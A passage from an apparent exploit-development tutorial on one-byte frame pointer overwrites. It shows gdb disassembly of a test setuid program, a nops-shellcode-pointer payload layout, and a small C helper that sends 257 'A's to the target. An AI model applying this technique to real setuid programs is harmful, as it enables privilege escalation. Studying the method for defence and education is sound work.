: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Great! After func() has been called, at the end of main(), %ebp will be restored into %esp, as seen at *0x80481b1. This means that we can set %esp to an arbitrary value. But remember, this arbitrary value is not *really* arbitrary, since you can only modify the last %esp's byte. Let's check to see if we're right. (gdb) disassemble main Dump of assembler code for function main: 0x8048180

: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) It seems we were. After overflowing the buffer by one 'A' (0x41), %ebp is moved into %esp, which is incremented by 4 since %ebp is poped from the stack just before the RET. This gives us 0xbffffd41 + 0x4 = 0xbffffd45. ----[ Getting prepared What does changing the stack pointer give us? We cannot change the saved %eip value directly like in any conventional buffer overflow exploitation, but we can make the processor think it is elsewhere. When the processor returns from a procedure, it only pops the first word on the stack, guessing it is the original %eip. But if we alter %esp, we can make the processor pop any value from the stack as if it was %eip, and thus changing the execution flow. Lets project to overflow the buffer using the following string: [nops][shellcode][&shellcode][%ebp_altering_byte] In order to do this, we should first determine what value we want to alter %ebp (and thus %esp) with. Let's take a look at what the stack will look like when the buffer overflow will have occurred: saved_eip saved_ebp (altered by 1 byte) &shellcode \ shellcode | char buffer nops / int i Here, we want %esp to point to &shellcode, so that the shellcode's address will be poped into %eip when the processor will return from main(). Now that we have the full knowledge of how we want to exploit our vulnerable program, we need to extract information from the process while running in the context it will be while being exploited. This information consists of the address of the overflowed buffer, and the address of the pointer to our shellcode (&shellcode). Let's run the program as if we wanted to overflow it with a 257 bytes string. In order to do this, we must write a fake exploit which will reproduce the context in which we exploit the vulnerable process. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing